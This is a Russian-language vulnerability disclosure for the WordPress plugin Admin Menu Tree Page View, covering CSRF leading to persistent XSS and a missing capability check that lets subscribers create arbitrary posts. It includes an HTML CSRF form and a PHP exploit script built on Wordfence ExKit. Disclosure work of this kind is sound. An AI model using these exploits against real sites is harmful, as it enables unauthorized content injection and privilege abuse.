Уязвимость позволяет атакующему выполнить CSRF-запрос к веб-приложению, т.к. не реализованы проверки безопасности, например в виде CSRF-токенов.

Используя атаку CSRF, злоумышленник может выполнить атаку Persistent XSS, если у жертвы есть права администратора.

Действие AJAX является привилегированным, поэтому оно доступно только для зарегистрированных пользователей. Даже при этом он не реализует никаких проверок возможностей, поэтому плагин доступен всем пользователям независимо от уровня доступа. Это может позволить любому зарегистрированному пользователю создавать произвольные сообщения независимо от уровня доступа.

PoC:

1. CSRF -> Persistent XSS

В этом концепте используется параметр `$ _POST [" page_titles "]` для выполнения атаки Persistent XSS.

class="lang:html decode:true "<form method="post" action="http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php">
    
    <input type="text" name="page_titles[]" value="alert(1)">
    
    <button type="submit" value="Submit">Submit</button>
</form>

2. Создание произвольных сообщений

В этом концепте используется пользователь с доступом к подписчикам для создания произвольных страниц. Post \ _type определяется пользователем таким образом, чтобы мы могли создать любой тип сообщения.

#!/usr/bin/env php
<?php
/*******************************************************************************
 * Admin Menu Tree Page View [Privilege Escalation]
 *
 * To install deps run `composer require wordfence/exkit`.
 *
 * @author Panagiotis Vagenas 
 * @date 2017-08-09
 ******************************************************************************/
 
require_once __DIR__ . '/vendor/autoload.php';
 
use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\WPAuthentication;
 
Config::get( 'url.base', null, true, 'Enter the site URL' )
|| ExitCodes::exitWithFailedPrecondition( 'You must enter a valid URL' );
 
$s = new \Wordfence\ExKit\Session( null, [], [], [ 'timeout' => 60 ] );
$s->XDebugOn();
 
Cli::writeInfo( 'Logging in as subscriber...' );
 
WPAuthentication::logInAsUserRole( $s,
WPAuthentication::USER_ROLE_SUBSCRIBER );
 
Cli::writeInfo( 'Sending payload...' );
 
$postData = [
    'action'      => 'admin_menu_tree_page_view_add_page',
    'type'        => 'after',
    'pageID'      => '1',
    'post_type'   => 'page',
    'page_titles' => [ 'alert(1)' ],
    'post_status' => 'publish',
];
 
$r = $s->post( Endpoint::adminAjaxURL(), [], $postData);
 
if(!$r->success || !$r->body == '0'){
    ExitCodes::exitWithFailed('Failed to retrieve a valid response');
}
 
ExitCodes::exitWithSuccess('Exploitation successful');